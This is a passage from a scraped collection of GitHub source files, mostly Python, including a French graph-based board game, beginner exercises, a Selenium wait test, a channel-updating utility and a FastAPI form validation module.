rollingDerniersMouvements[1]==invert(rollingDerniersMouvements[3]):\n print(\"Les blancs ont gagné! Répétition\")\n return True\n return False\ndef checkWinBlanc():\n '''Fonction permettant de regarder si les pion blancs ont gagné.'''\n for i in range(11):\n if tableau[i]==\"N\": noirPos = i\n listePossibleMoveNoir = {0:[1,2,3], 1:[0,2,4,5], 2:[0,1,3,5], 3:[0,2,5,6], 4:[1,5,7], 5:[1,2,3,4,6,7,8,9], 6:[3,5,9], 7:[4,5,8,10], 8:[5,7,9,10], 9:[5,6,8,10], 10:[7,8,9]}[noirPos]\n for y in listePossibleMoveNoir:\n if tableau[y]==\"S\":\n return False\n print(\"Les Blancs ont gagné!\")\n return True\n \ndef checkWinNoir():\n '''Fonction permettant de regarder si le pion noir a gagné.'''\n blancPos=[]\n for i in range(11):\n if tableau[i]==\"N\": \n noirPos = i\n elif tableau[i]==\"B\":\n blancPos.append(i)\n if noirPos==0:\n print(\"Le Noir a gagné!\")\n return True\n elif noirPos in [1,2,3]:\n for i in range(3):\n if blancPos[i] in [1,2,3,0]:\n return False\n print(\"Le Noir a gagné!\")\n return True\n elif noirPos in [4,5,6]:\n for i in range(3):\n if blancPos[i] in [0,1,2,3,4,5,6]:\n return False\n print(\"Le Noir a gagné!\")\n return True\n \ndef move(number, target):\n '''Procédure principale : permet de bouger un pion en fonction des possibilités contenues dans dicoMoveNoir et dicoMoveBlanc.'''\n couleur = tableau[number]\n global tourBlanc\n if(couleur==\"N\"):\n if(tourBlanc==False): \n if(target in {0:[1,2,3], 1:[0,2,4,5], 2:[0,1,3,5], 3:[0,2,5,6], 4:[1,5,7], 5:[1,2,3,4,6,7,8,9], 6:[3,5,9], 7:[4,5,8,10], 8:[5,7,9,10], 9:[5,6,8,10], 10:[7,8,9]}[number]):\n if(tableau[target]==\"S\"):\n tableau[target]=couleur\n tableau[number]=\"S\"\n tourBlanc = True\n if len(memoireDerniersMouvements)>=10:\n memoireDerniersMouvements.append((number,target))\n else:\n memoireDerniersMouvements.pop(0)\n memoireDerniersMouvements.append((number,target))\n return 1\n else:\n print(\"Case Occupée Noir\", number, target)\n else:\n print(\"Mouvement Impossible\")\n else:\n print(\"Mouvement Impossible: Tour Blanc\")\n elif(couleur==\"B\"):\n if(tourBlanc==True):\n if(target in {0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}[number]):\n if(tableau[target]==\"S\"):\n tableau[target]=couleur\n tableau[number]=\"S\"\n tourBlanc= False\n if len(memoireDerniersMouvements)<=10:\n memoireDerniersMouvements.append((number,target))\n else:\n memoireDerniersMouvements.pop(0)\n memoireDerniersMouvements.append((number,target))\n return 1\n else:\n print(\"Case Occupée Blanc\", number, target)\n else:\n print(\"Mouvement Impossible\")\n else:\n print(\"Mouvement Impossible: Tour Noir\")\n else:\n print(\"Case Vide\") \n\n#Structure du tableau\nDG = nx.Graph()\nDG.add_edge(0, 1)\nDG.add_edge(0, 2)\nDG.add_edge(0, 3)\nDG.add_edge(1, 4)\nDG.add_edge(1, 5)\nDG.add_edge(1, 2)\nDG.add_edge(2, 5)\nDG.add_edge(2, 3)\nDG.add_edge(3, 5)\nDG.add_edge(3, 6)\nDG.add_edge(4, 7)\nDG.add_edge(4, 5)\nDG.add_edge(5, 6)\nDG.add_edge(5, 7)\nDG.add_edge(5, 8)\nDG.add_edge(5, 9)\nDG.add_edge(6, 9)\nDG.add_edge(7, 8)\nDG.add_edge(7, 10)\nDG.add_edge(8, 9)\nDG.add_edge(8, 10)\nDG.add_edge(9, 10)\n\n#Crée un arrangement de positions des points en fonctions des liens qu'on vient de définir \npos = nx.spring_layout(DG, seed=100)\n\n#Affiche les noms des points\nnx.draw_networkx_labels(DG, pos)\n\n#Affiche le graphe2\nnx.draw(DG, pos)\n\n#Rend la fenêtre interactive et permet de l'animer\nplt.ion()\n\n#Loop de jeu\nwhile checkWinBlanc()!=True and checkWinNoir()!=True and checkRepeating()!=True:\n #Dessine chaque point\n for i in range(11): \n if tableau[i]==\"B\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"#ffffff\")\n elif tableau[i]==\"N\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"#262626\")\n elif tableau[i]==\"S\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"tab:blue\")\n if modeDeJeu==0:\n #Le joueur choisit son action\n pointChoisi = int(input(\"Point à déplacer : \"))\n targetChoisi = int(input(\"Point où aller : \"))\n #On effectue l'action\n move(pointChoisi, targetChoisi)\n if modeDeJeu==3:\n blancPos=[]\n for i in range(11):\n if tableau[i]==\"N\": \n noirPos = i\n elif tableau[i]==\"B\":\n blancPos.append(i)\n if(10 in blancPos):\n blancPos.remove(10)\n if(tourBlanc):\n choix = random.choice(blancPos)\n possibilites={0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}[choix]\n choixDir = random.choice(possibilites)\n while move(choix,choixDir)!=1:\n choix = random.choice(blancPos)\n possibilites={0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}[choix]\n choixDir = random.choice(possibilites)\n tourBlanc = False\n else:\n choix = noirPos\n possibilites={0:[1,2,3], 1:[0,2,4,5], 2:[0,1,3,5], 3:[0,2,5,6], 4:[1,5,7], 5:[1,2,3,4,6,7,8,9], 6:[3,5,9], 7:[4,5,8,10], 8:[5,7,9,10], 9:[5,6,8,10], 10:[7,8,9]}[choix]\n for i in possibilites:\n if(i in blancPos): possibilites.remove(i)\n choixDir=random.choice(possibilites)\n while move(choix,choixDir)!=1:\n choixDir = random.choice(possibilites)\n tourBlanc = True\n if modeDeJeu==1:\n blancPos=[]\n for i in range(11):\n if tableau[i]==\"N\": \n noirPos = i\n elif tableau[i]==\"B\":\n blancPos.append(i)\n if(10 in blancPos):\n blancPos.remove(10)\n if(tourBlanc):\n pointChoisi = int(input(\"Point à déplacer : \"))\n targetChoisi = int(input(\"Point où aller : \"))\n move(pointChoisi, targetChoisi)\n else:\n choix = noirPos\n possibilites={0:[1,2,3], 1:[0,2,4,5], 2:[0,1,3,5], 3:[0,2,5,6], 4:[1,5,7], 5:[1,2,3,4,6,7,8,9], 6:[3,5,9], 7:[4,5,8,10], 8:[5,7,9,10], 9:[5,6,8,10], 10:[7,8,9]}[choix]\n for i in possibilites:\n if(i in blancPos): possibilites.remove(i)\n choixDir=random.choice(possibilites)\n while move(choix,choixDir)!=1:\n choixDir = random.choice(possibilites)\n if modeDeJeu==2:\n blancPos=[]\n for i in range(11):\n if tableau[i]==\"N\": \n noirPos = i\n elif tableau[i]==\"B\":\n blancPos.append(i)\n if(10 in blancPos):\n blancPos.remove(10)\n if(tourBlanc):\n choix = random.choice(blancPos)\n possibilites={0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}[choix]\n choixDir = random.choice(possibilites)\n while move(choix,choixDir)!=1:\n choix = random.choice(blancPos)\n possibilites={0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}[choix]\n choixDir = random.choice(possibilites)\n tourBlanc = False\n else:\n #Le joueur choisit son action\n pointChoisi = int(input(\"Point à déplacer : \"))\n targetChoisi = int(input(\"Point où aller : \"))\n #On effectue l'action\n move(pointChoisi, targetChoisi)\n #Pause permet d'animer la fenêtre et de passer à la frame suivante\n plt.pause(0.0001) \n \n#On redessine les points une dernière fois après la fin de la partie\nfor i in range(11): \n if tableau[i]==\"B\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"#ffffff\")\n elif tableau[i]==\"N\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"#000000\")\n elif tableau[i]==\"S\":\n nx.draw_networkx_nodes(DG, pos, nodelist=[i], node_color=\"tab:blue\")\n","repo_name":"Voxusss/ProjetJeuMilitaire","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10046,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37631284522","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n#\n#Programar unha caixa rexistradora: Menú con opcións venta, e peche de caixa. Na opción de venta nos pedirá o\n#importe da venta (PVP), e regresará ao menú. Na opción de peche de caixa nos amosará importe total das ventas,\n# o IVA e o importe de venta neto (sen IVA) \n#\n# total=0\n# opcion=0\n# Mentras opcion non sexa 3\n# \tVisualizar \"1-Venta\"\n# \tVisualizar \"2-Caixa\"\n# \tVisualizar \"3-Sair\"\n# \tLer opcion\n#\tSi opcion == 1\n#\t\tVisualizar \"Importe: \"\n#\t\tLer importe\n#\t\ttotal = total + importe\n#\tSe non \n#\t\tSi opcion == 2\n#\t\t\tVisualizar \"O importe total das ventas foi de \" total\n#\t\t\tneto = (total * 100) / 121\n#\t\t\tVisualizar \"Importe neto: \" neto\n#\t\t\tVisualizar \"IVA: \" (neto*21/100)\n#\t\tFin Si\n#\tFinSi\n# FinMentras\ntotal=0.0\nopcion=0\nwhile(opcion != 3):\n\tprint(\"1-Venta\")\n\tprint(\"2-Caixa\")\n\tprint(\"3-Sair\")\n\topcion=int(input(\"Elixe opción:\"))\n\tif (opcion == 1):\n\t\timporte=float(input(\"Importe:\"))\n\t\ttotal=total+importe\n\telse:\n\t\tif (opcion == 2):\n\t\t\tprint(\"O importe total das ventas foi de \"+str(total))\n\t\t\tneto=(total*100)/121\n\t\t\tprint(\"Importe neto: \"+str(neto))\n\t\t\tprint(\"IVE: \"+str(neto*21/100))\n\n","repo_name":"chavitag/DAW_Programacion","sub_path":"Tema 02/Clases Presenciais/Caixa.py","file_name":"Caixa.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"gl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28022844003","text":"# Напишите программу, которая принимает на вход число и проверяет, кратно ли оно 5 и 10 или 15, но не 30.\n\n# если речь идет о кратности, то мы используем оператор %\n\na = int(input('Введите число: '))\nif (a % 5 == 0 and a % 10 == 0 or a % 15 == 0) and a % 30 != 0:\n print(a)\nelse:\n print('no')\n\n","repo_name":"MichaelGusev1974/PythonSemminars","sub_path":"seminar1/seminar1.5.py","file_name":"seminar1.5.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14205844540","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nfor tc in range(1, T+1):\n h1, m1, h2, m2 = map(int,input().split())\n\n\n if (m1 + m2) >= 60:\n h1 += 1\n m = (m1 + m2) % 60\n h = (h1 + h2) % 12\n if h == 0:\n h = 12\n\n\n print('#{}'.format(tc), end=\" \")\n print(h, m)\n","repo_name":"yujeong23/algorithm","sub_path":"swea/D2/1976_시각덧셈/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24375389539","text":"from collections import defaultdict\n\ndef topKfrequent(array, k):\n counts = defaultdict(int)\n for val in array:\n counts[val]+=1\n\n res = []\n for key, val in counts.items():\n res.append([val, key])\n\n res.sort(key=lambda x: x[0], reverse=True)\n\n ans = []\n for i in range(k):\n ans.append(res[i][1])\n\n return ans\n\n\n\n\n\nprint(topKfrequent([1,1,1,2,2,3], 2))","repo_name":"Mushahid2521/Data-Structures-and-Algorithms-in-Python","sub_path":"Interview Questions/Top K Frequent Elements.py","file_name":"Top K Frequent Elements.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"70569134440","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport math\n\ndef getResultCode():\n\talert_end = browser.switch_to.alert\n\talert_end_array = alert_end.text.split()\n\tresult = alert_end_array[len(alert_end_array)-1]\n\tprint(result)\ndef calc(x):\n return str(math.log(abs(12*math.sin(int(x)))))\ndef resolveEquation():\n\tx_element = browser.find_element(By.ID, \"input_value\")\n\tx = x_element.text\n\ty = calc(x)\n\tanser_element = browser.find_element(By.ID, \"answer\")\n\tbrowser.execute_script(\"return arguments[0].scrollIntoView(true);\", anser_element)\n\tanser_element.send_keys(y)\ndef clickSubmit():\n\tsubmit = browser.find_element(By.CSS_SELECTOR, \"button[type='submit']\")\n\tsubmit.click()\n\ntry:\n\tlink = \"http://suninjuly.github.io/explicit_wait2.html\"\n\tbrowser = webdriver.Chrome()\n\tbrowser.implicitly_wait(12)\n\tbrowser.get(link)\n\tbutton = browser.find_element(By.ID, \"book\")\n\tgoodPrice = WebDriverWait(browser, 12).until(\n EC.text_to_be_present_in_element((By.ID, \"price\"), \"$100\")\n )\n\tbutton.click()\n\tresolveEquation()\n\tclickSubmit()\n\tgetResultCode()\nfinally:\n\tbrowser.quit()","repo_name":"KSENI/python-course","sub_path":"241.py","file_name":"241.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5243778839","text":"import socket\nimport threading\nimport Queue\n\nfrom channelguide import util\n\nfrom channelguide.channels.models import Channel\n\n\nprint_stuff = True\n\ndef all_channel_iterator(task_description, **kwargs):\n \"\"\"Helper method to iterate over all channels. It will yield each channel\n in order.\n \"\"\"\n if 'approved' in kwargs:\n approved = kwargs.pop('approved')\n else:\n approved = False\n if approved:\n channels = Channel.objects.approved()\n else:\n channels = Channel.objects.all()\n if print_stuff:\n pprinter = util.ProgressPrinter(task_description, channels.count())\n pprinter.print_status()\n for channel in channels:\n yield channel\n if print_stuff:\n pprinter.iteration_done()\n if print_stuff:\n pprinter.loop_done()\n\ndef spawn_threads_for_channels(task_description, callback, thread_count):\n \"\"\"Works with update_items and download_thumbnails to manage worker\n threads that update the individual channels.\n \"\"\"\n queue = Queue.Queue()\n for channel in Channel.objects.all():\n queue.put(channel)\n if print_stuff:\n pprinter = util.ProgressPrinter(task_description, queue.qsize())\n pprinter.print_status()\n class Worker(threading.Thread):\n def run(self):\n while True:\n try:\n channel = queue.get(block=False)\n except Queue.Empty:\n break\n callback(channel)\n if print_stuff:\n pprinter.iteration_done()\n threads = [Worker() for x in range(thread_count)]\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n if print_stuff:\n pprinter.loop_done()\n\ndef set_short_socket_timeout():\n socket.setdefaulttimeout(10) # makes update_items not take forever\n","repo_name":"kmshi/miroguide","sub_path":"channelguide/channels/management/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22137627038","text":"import sys\r\ninput = lambda: sys.stdin.readline().rstrip(\"\\n\\r\")\r\nfrom math import perm, comb\r\n\r\ndef stox(x, i):\r\n try:\r\n sxavb = x - 1\r\n sxreq = i - 1\r\n return comb(sxavb, sxreq)\r\n except:\r\n return 0\r\n\r\ndef bwxy(x, y, i, j):\r\n try:\r\n xyavb = abs(x - y) - 1\r\n xyreq = j - i - 1\r\n return comb(xyavb, xyreq)\r\n except:\r\n return 0\r\n\r\ndef ytoe(x, y, i, j, n):\r\n try:\r\n yeavb = y - x - 1\r\n yereq = n - j - (x - i)\r\n return comb(yeavb, yereq)\r\n except:\r\n return 0\r\n \r\ndef kmore(n, i, j, x, y, k):\r\n sxtot = stox(x, i)\r\n xytot = bwxy(x, y, i, j)\r\n yktot = bwxy(y, n, j, k) \r\n return (sxtot * xytot * yktot)\r\n\r\ndef kmid(n, i, j, x, y, k):\r\n sxtot = stox(x, i)\r\n yetot = ytoe(x, y, i, j, n)\r\n bw = bwxy(n, y, k, j)\r\n \r\n return (sxtot * bw * yetot)\r\n \r\ndef solve(): \r\n n, i, j, x, y = list(map(int, input().split()))\r\n if x > y:\r\n i, j, x, y = n - j + 1, n - i + 1, y, x\r\n \r\n if y == n:\r\n if j == n:\r\n print(0)\r\n else:\r\n print((comb(x - 1, i - 1) * comb(y - x - 1, j - i - 1)) % mod)\r\n return\r\n ans = 0\r\n for k in range(2, n):\r\n if k == j:\r\n continue\r\n if k < j:\r\n ans += kmid(n, i, j, x, y, k) % mod\r\n else:\r\n ans += kmore(n, i, j, x, y, k) % mod\r\n print(ans % mod)\r\n \r\nmod = 1000000007\r\nfor _ in range(int(input())):\r\n solve()\r\n\r\n\r\n ","repo_name":"mlabeeb03/codeforces","sub_path":"Valid Bitonic Permutations.py","file_name":"Valid Bitonic Permutations.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16203750585","text":"import json\nimport re\n\nimport validators\nfrom typing import Optional, Union\nfrom pydantic import BaseModel as pydanticBaseModel, Field\n\nfrom utils.client.test_runner.parser import extract_variables, parse_function, extract_functions\nfrom utils.util.json_util import JsonUtil\nfrom utils.util import request as async_request\n\nclass CurrentUserModel(pydanticBaseModel):\n \"\"\" 根据token解析出来的用户信息,用于在后续处理接口逻辑的时候使用 \"\"\"\n # 可能是没登录的\n id: Optional[int]\n account: Optional[str]\n name: Optional[str]\n business_list: Optional[list]\n api_permissions: Optional[list]\n\n\nclass ParamModel(pydanticBaseModel):\n key: Union[str, None] = None\n value: Union[str, None] = None\n\n\nclass HeaderModel(ParamModel):\n remark: Union[str, None] = None\n\n\nclass DataFormModel(HeaderModel):\n data_type: Union[str, None] = None\n\n\nclass VariablesModel(DataFormModel):\n pass\n\n\nclass ExtractModel(HeaderModel):\n status: Union[int, None] = None\n data_source: Union[str, None] = None\n\n\nclass ValidateModel(HeaderModel):\n status: Union[int, None] = None\n validate_type: Union[str, None] = None\n data_type: Union[str, None] = None\n data_source: Union[str, None] = None\n validate_method: Union[str, None] = None\n\n\nclass SkipIfModel(HeaderModel):\n expect: Union[str, None] = None\n data_type: Union[str, None] = None\n skip_type: Union[str, None] = None\n comparator: Union[str, None] = None\n check_value: Union[str, None] = None\n data_source: Union[str, None] = None\n\n\nclass AddCaseDataForm(pydanticBaseModel):\n name: str = Field(..., title=\"名字\")\n desc: str = Field(..., title=\"描述\")\n\n\nclass AddAppElementDataForm(pydanticBaseModel):\n name: str = Field(..., title=\"名字\")\n by: str = Field(..., title=\"定位方式\")\n element: str = Field(..., title=\"定位表达式\")\n template_device: int = Field(..., title=\"定位元素时参照的手机\")\n\n\nclass AddUiElementDataForm(pydanticBaseModel):\n name: str = Field(..., title=\"名字\")\n by: str = Field(..., title=\"定位方式\")\n element: str = Field(..., title=\"定位表达式\")\n\n\nclass BaseForm(pydanticBaseModel, JsonUtil):\n \"\"\" 基类数据模型 \"\"\"\n\n @classmethod\n def is_admin(cls, api_permissions: list):\n \"\"\" 管理员权限 \"\"\"\n return 'admin' in api_permissions\n\n @classmethod\n def is_not_admin(cls, api_permissions: list):\n \"\"\" 非管理员权限 \"\"\"\n return cls.is_admin(api_permissions) is False\n\n @classmethod\n async def validate_id_is_exist(\n cls, data_id: int, db_model, msg: str = None):\n \"\"\" 校验id数据是否存在 \"\"\"\n db_data = await db_model.filter(id=data_id).first()\n if not db_data:\n raise ValueError(msg or f\"id为【{data_id}】的数据不存在\")\n return db_data\n\n @classmethod\n async def validate_data_is_exist(cls, msg: str, db_model, **kwargs):\n \"\"\" 校验数据是否存在 \"\"\"\n db_data = await db_model.filter(**kwargs).first()\n if db_data is None:\n raise ValueError(msg or f\"数据不存在\")\n return db_data\n\n @classmethod\n async def validate_data_is_not_exist(cls, msg: str, db_model, **kwargs):\n \"\"\" 校验数据是否存在 \"\"\"\n if await db_model.filter(**kwargs).first():\n raise ValueError(msg)\n\n @classmethod\n async def validate_data_is_not_repeat(cls, msg: str, db_model, data_id, **kwargs):\n \"\"\" 校验数据是否重复 \"\"\"\n db_data = await db_model.filter(**kwargs).first()\n if db_data and db_data.id != data_id:\n raise ValueError(msg)\n\n @classmethod\n def validate_is_true(cls, data, msg):\n \"\"\" 判断为真 \"\"\"\n if not data:\n raise ValueError(msg)\n\n @classmethod\n def validate_is_false(cls, data, msg):\n \"\"\" 判断为假 \"\"\"\n if data:\n raise ValueError(msg)\n\n def validate_email(self, email_server, email_from, email_pwd, email_to):\n \"\"\" 发件邮箱、发件人、收件人、密码 \"\"\"\n if not email_server:\n raise ValueError(\"选择了要邮件接收,则发件邮箱服务器必填\")\n\n if not email_to or not email_from or not email_pwd:\n raise ValueError(\"选择了要邮件接收,则发件人、收件人、密码3个必须有值\")\n\n # 校验发件邮箱\n if email_from and not validators.email(email_from.strip()):\n raise ValueError(f\"发件人邮箱【{email_from}】格式错误\")\n\n # 校验收件邮箱\n for mail in email_to:\n mail = mail.strip()\n if mail and not validators.email(mail):\n raise ValueError(f\"收件人邮箱【{mail}】格式错误\")\n\n @classmethod\n def validate_length_is_less_than(cls, data: Optional[str], length: int, msg: str = None):\n \"\"\" 校验数据长度是否符合 \"\"\"\n if len(data) > length:\n raise ValueError(msg or f\"id为【{data}】长度超长\")\n\n def validate_func(self, func_container: dict, content: str, message=\"\"):\n\n functions = extract_functions(content)\n\n # 使用了自定��函数,但是没有引用函数文件的情况\n if functions and not func_container:\n raise ValueError(f\"{message}要使用自定义函数则需引用对应的函数文件\")\n\n # 使用了自定义函数,但是引用的函数文件中没有当前函数的情况\n for function in functions:\n func_name = parse_function(function)[\"func_name\"]\n if func_name not in func_container:\n raise ValueError(f\"{message}引用的自定义函数【{func_name}】在引用的函数文件中均未找到\")\n\n def validate_is_regexp(self, regexp):\n \"\"\" 校验字符串是否为正则表达式 \"\"\"\n return re.compile(r\".*\\(.*\\).*\").match(regexp)\n\n def validate_variable(self, variables_container: dict, content: str, message=\"\"):\n \"\"\" 引用的变量需存在 \"\"\"\n for variable in extract_variables(content):\n if variable not in variables_container:\n raise ValidationError(f\"{message}引用的变量【{variable}】不存在\")\n\n def validate_header_format(self, content: list):\n \"\"\" 头部信息,格式校验 \"\"\"\n for index, data in enumerate(content):\n title, key, value = f\"头部信息设置,第【{index + 1}】行\", data.get(\"key\"), data.get(\"value\")\n if not ((key and value) or (not key and not value)):\n raise ValidationError(f\"{title},要设置头部信息,则key和value都需设置\")\n\n def validate_variable_format(self, content: list, msg_title='自定义变量'):\n \"\"\" 自定义变量,格式校验 \"\"\"\n for index, data in enumerate(content):\n title = f\"{msg_title}设置,第【{index + 1}】行\"\n key, value, data_type = data.get(\"key\"), data.get(\"value\"), data.get(\"data_type\")\n\n # 校验格式\n # 要设置变量,则key、数据类型、备注必传\n if key or data_type:\n if msg_title == 'form-data':\n if not key or not data_type:\n raise ValueError(f\"{title},要设置{msg_title},则【key、数据类型、备注】都需设置\")\n else:\n if not key or not data_type or not data.get(\"remark\"):\n raise ValueError(f\"{title},要设置{msg_title},则【key、数据类型、备注】都需设置\")\n\n # 检验数据类型\n if key:\n if self.validate_data_format(value, data_type) is False:\n raise ValueError(f\"{title},{msg_title}值与数据类型不匹配\")\n\n def validate_data_format(self, value, data_type):\n \"\"\" 校验数据格式 \"\"\"\n try:\n if data_type in [\"variable\", \"func\", \"str\", \"file\", \"True\", \"False\"]:\n pass\n elif data_type == \"json\":\n self.dumps(self.loads(value))\n else: # python数据类型\n eval(f\"{data_type}({value})\")\n except Exception as error:\n return False\n\n def validate_data_validates(self, validate_data, row_msg):\n \"\"\" 校验断言信息,全都有才视为有效 \"\"\"\n data_source, key = validate_data.get(\"data_source\"), validate_data.get(\"key\")\n validate_method = validate_data.get(\"validate_method\")\n data_type, value = validate_data.get(\"data_type\"), validate_data.get(\"value\")\n\n if (not data_source and not data_type) or (\n data_source and not key and validate_method and data_type and not value):\n return\n elif (data_source and not data_type) or (not data_source and data_type):\n raise ValueError(f\"{row_msg}若要进行断言,则数据源、预期结果、数据类型需同时存在\")\n\n else: # 有效的断言\n # 实际结果,选择的数据源为正则表达式,但是正则表达式错误\n if data_source == \"regexp\" and not self.validate_is_regexp(key):\n raise ValueError(f\"{row_msg}正则表达式【{key}】错误\")\n\n if not validate_method: # 没有选择断言方法\n raise ValueError(f\"{row_msg}请选择断言方法\")\n\n if value is None: # 要进行断言,则预期结果必须有值\n raise ValueError(f\"{row_msg}预期结果需填写\")\n\n self.validate_data_type_(row_msg, data_type, value) # 校验预期结果的合法性\n\n def validate_page_validates(self, validate_data, row_msg):\n validate_method, data_source = validate_data.get(\"validate_method\"), validate_data.get(\"data_source\")\n data_type, value = validate_data.get(\"data_type\"), validate_data.get(\"value\")\n\n if validate_method and data_source and data_type and value: # 都存在\n self.validate_data_type_(row_msg, data_type, value) # 校验预期结果\n elif validate_method and not data_source and data_type and not value: # 仅断言方式和数据类型存在\n return\n elif not validate_method and not data_source and not data_type and not value: # 所有数据都不存在\n return\n else:\n raise ValueError(f\"{row_msg},数据异常,请检查\")\n\n def validate_base_validates(self, data):\n \"\"\" 校验断言信息,全都有才视为有效 \"\"\"\n for index, validate_data in enumerate(data):\n if validate_data.get(\"status\") == 1:\n row_msg = f\"断言,第【{index + 1}】行,\"\n validate_type = validate_data.get(\"validate_type\")\n\n if not validate_type: # 没有选择断言类型\n raise ValueError(f\"{row_msg}请选择断言类型\")\n\n if validate_type == 'data': # 数据断言\n self.validate_data_validates(validate_data, row_msg)\n else: # 页面断言\n self.validate_page_validates(validate_data, row_msg)\n\n @classmethod\n def validate_data_type_(cls, row, data_type, value):\n \"\"\" 校验数据类型 \"\"\"\n if data_type in [\"str\", \"file\"]: # 普通字符串和文件,不校验\n pass\n elif data_type == \"variable\": # 预期结果为自定义变量,能解析出变量即可\n if extract_variables(value).__len__() < 1:\n raise ValueError(f\"{row}引用的变量表达式【{value}】错误\")\n elif data_type == \"func\": # 预期结果为自定义函数,校验校验预期结果表达式、实际结果表达式\n # self.validate_func(func_container, value, message=row) # 实际结果表达式是否引用自定义函数\n pass\n elif data_type == \"json\": # 预期结果为json\n try:\n json.dumps(json.loads(value))\n except Exception as error:\n raise ValueError(f\"{row}预期结果【{value}】,不可转为【{data_type}】\")\n else: # python数据类型\n try:\n eval(f\"{data_type}({value})\")\n except Exception as error:\n raise ValueError(f\"{row}预期结果【{value}】,不可转为【{data_type}】\")\n\n def validate_api_extracts(self, data):\n \"\"\" 校验接口测试数据提取表达式 \"\"\"\n for index, validate in enumerate(data):\n if validate.get(\"status\") == 1:\n row = f\"数据提取,第【{index + 1}】\"\n data_source, key, value = validate.get(\"data_source\"), validate.get(\"key\"), validate.get(\"value\")\n\n if key or data_source:\n if not key or not data_source or not validate.get(\"remark\"):\n raise ValueError(f\"数据提取第 {row} 行,要设置数据提取,则【key、数据源、备注】都需设置\")\n\n # 实际结果,选择的数据源为正则表达式,但是正则表达式错误\n if key and data_source == \"regexp\" and value and not self.validate_is_regexp(value):\n raise ValueError(f\"数据提取第 {row} 行,正则表达式【{value}】错误\")\n\n def validate_ui_extracts(self, data):\n \"\"\" 校验ui测试数据提取表达式 \"\"\"\n for index, validate in enumerate(data):\n if validate.get(\"status\") == 1:\n row = f\"数据提取,第【{index + 1}】行,\"\n extract_type, key, value = validate.get(\"extract_type\"), validate.get(\"key\"), validate.get(\"value\")\n\n if key or extract_type:\n if not key or not extract_type or not validate.get(\"remark\"):\n raise ValidationError(f\"数据提取第 {row} 行,要设置数据提取,则【key、提取方式、备注】都需设置\")\n\n async def validate_appium_server_is_running(self, server_ip, server_port):\n \"\"\" 校验appium服务器是否能访问 \"\"\"\n try:\n res = await async_request.get(f'http://{server_ip}:{server_port}', timeout=5)\n if res.status_code >= 500:\n raise\n except Exception as error:\n raise ValueError(\"设置的appium服务器地址不能访问,请检查\")\n\n\nclass ChangeSortForm(BaseForm):\n \"\"\" 权限排序校验 \"\"\"\n id_list: list = Field(..., title=\"要排序的id列表\")\n page_num: int = Field(1, title=\"页数\")\n page_size: int = Field(10, title=\"页码\")\n\n\nclass PaginationForm(BaseForm):\n \"\"\" 分页的模型 \"\"\"\n page_num: int = Field(1, title=\"页数\")\n page_size: int = Field(10, title=\"页码\")\n\n def get_query_filter(self, *args, **kwargs):\n \"\"\" 解析分页条件,此方法需重载 \"\"\"\n return {}\n\n async def make_pagination(self, db_Model, get_filed: list = [], not_get_filed: list = [], **kwargs):\n \"\"\" 执行分页查询 \"\"\"\n order_by_filed = \"num\" if \"num\" in db_Model._meta.fields else \"-id\" # 有num就用num升序,否则用id降序\n query = db_Model.filter(**self.get_query_filter(**kwargs)).order_by(order_by_filed)\n query_page = query.offset((self.page_num - 1) * self.page_size).limit(self.page_size)\n\n if len(get_filed) == 0:\n get_filed = db_Model.filter_not_get_filed(not_get_filed)\n\n data = await query_page.values(*get_filed) if get_filed else await query_page\n return {\"total\": await query.count(), \"data\": data}\n","repo_name":"zhongyehai/test-platform-fastapi-api","sub_path":"app/baseForm.py","file_name":"baseForm.py","file_ext":"py","file_size_in_byte":15543,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"30722603251","text":"import torch\nfrom train import SVM_for_two_dim\nfrom torch.utils.data import 